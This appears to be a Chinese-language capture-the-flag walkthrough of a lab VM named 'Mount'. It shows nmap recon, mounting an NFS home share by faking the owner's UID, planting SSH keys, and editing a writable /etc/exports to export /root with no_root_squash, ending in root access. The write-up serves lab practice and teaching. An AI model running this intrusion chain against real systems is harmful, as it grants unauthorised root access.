群友靶机-Mount

信息收集

```
# Nmap 7.95 scan initiated Wed Sep 10 02:39:51 2025 as: /usr/lib/nmap/nmap -A -p22,79,80,111,2049,35035,40863,44481,50839 -oA details 10.0.2.103
Nmap scan report for 10.0.2.103
Host is up (0.00054s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
79/tcp    open  finger   OpenBSD fingerd (ported to Linux)
| finger: \x0D
| Welcome to Linux version 4.19.0-27-amd64 at Mount !\x0D
| 
|  02:40:02 up 3 min,  0 users,  load average: 0.02, 0.01, 0.00
| \x0D
|_No one logged on.\x0D
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34311/tcp6  mountd
|   100005  1,2,3      43752/udp   mountd
|   100005  1,2,3      49897/udp6  mountd
|   100005  1,2,3      50839/tcp   mountd
|   100021  1,3,4      33533/tcp6  nlockmgr
|   100021  1,3,4      35035/tcp   nlockmgr
|   100021  1,3,4      39176/udp6  nlockmgr
|   100021  1,3,4      42577/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
35035/tcp open  nlockmgr 1-4 (RPC #100021)
40863/tcp open  mountd   1-3 (RPC #100005)
44481/tcp open  mountd   1-3 (RPC #100005)
50839/tcp open  mountd   1-3 (RPC #100005)
MAC Address: 08:00:27:FC:69:57 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: Mount; OSs: Linux, Linux 4.19.0-27-amd64; CPE:
cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:4.19.0-27-amd64

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms 10.0.2.103

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Wed Sep 10 02:40:09 2025 -- 1 IP address (1 host up) scanned in
17.91 seconds
```

靶机名称Mount 直奔挂载

```
showmount -e 10.0.2.103
Export list for 10.0.2.103:
/home/ll104567 *

sudo mount -t nfs -o soft,intr,timeo=5 10.0.2.103:/home/ll104567 /mnt/ll104567

ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep 10 02:41 .
```

```
drwxr-xr-x 18 root root 4096 Aug  2 21:37 ..
drwx------  2 6666 6666 4096 Aug 20 23:45 ll104567
```

需要uid6666 那就自己本地创一个

```
┌──(root㉿kali)-[/mnt]
└─# sudo groupadd -g 6666 nfsgroup

┌──(root㉿kali)-[/mnt]
└─# sudo useradd -u 6666 -g 6666 -m -s /bin/bash nfsuser

┌──(root㉿kali)-[/mnt]
└─# su nfsuser

┌──(nfsuser㉿kali)-[/mnt]
└─$ cd ll104567/

┌──(nfsuser㉿kali)-[/mnt/ll104567]
└─$ ls -la
total 20
drwx------ 2 nfsuser nfsgroup 4096 Aug 20 23:45 .
drwxr-xr-x 3 root    root     4096 Sep 10 02:41 ..
-rw-r--r-- 1 nfsuser nfsgroup  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 nfsuser nfsgroup 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 nfsuser nfsgroup  807 Apr 18  2019 .profile
```

接下来就是常规操作 传公钥连ssh

```
ll104567@Mount:/tmp$ ls -la /etc/exports
-rw-rw---- 1 root ll104567 444 Aug 21 00:00 /etc/exports
ll104567@Mount:/tmp$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check)
hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
```

```
/home/ll104567 *(rw,sync,root_squash,no_subtree_check)
```

发现挂载配置文件 并且可读写 那还说啥了 直接挂个root完事

```
# /etc/exports: the access control list for filesystems which may be exported
#  to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check)
hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/root *(rw,sync,no_root_squash,no_subtree_check)


showmount -e 10.0.2.103
Export list for 10.0.2.103:
/root *

mount -t nfs 10.0.2.103:/root /mnt/root

cd root
ls -al
total 40
drwx------ 6 root root 4096 Aug 21 00:04 .
drwxr-xr-x 3 root root 4096 Sep 10 03:03 ..
lrwxrwxrwx 1 root root    9 Mar 18 21:18 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 4 root root 4096 Apr  4 22:04 .cache
drwx------ 3 root root 4096 Apr  4 21:00 .gnupg
drwxr-xr-x 3 root root 4096 Mar 18 21:04 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-r--r-- 1 root root   44 Aug 21 00:04 root.txt
drw------- 2 root root 4096 Apr  4 23:57 .ssh
-rw-rw-rw- 1 root root 2131 Aug 21 00:04 .viminfo
```

还是传公钥 ssh上去完事

```
ssh root@10.0.2.103
Linux Mount 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 10 03:07:45 2025 from 10.0.2.77
root@Mount:~# id
uid=0(root) gid=0(root) groups=0(root)
```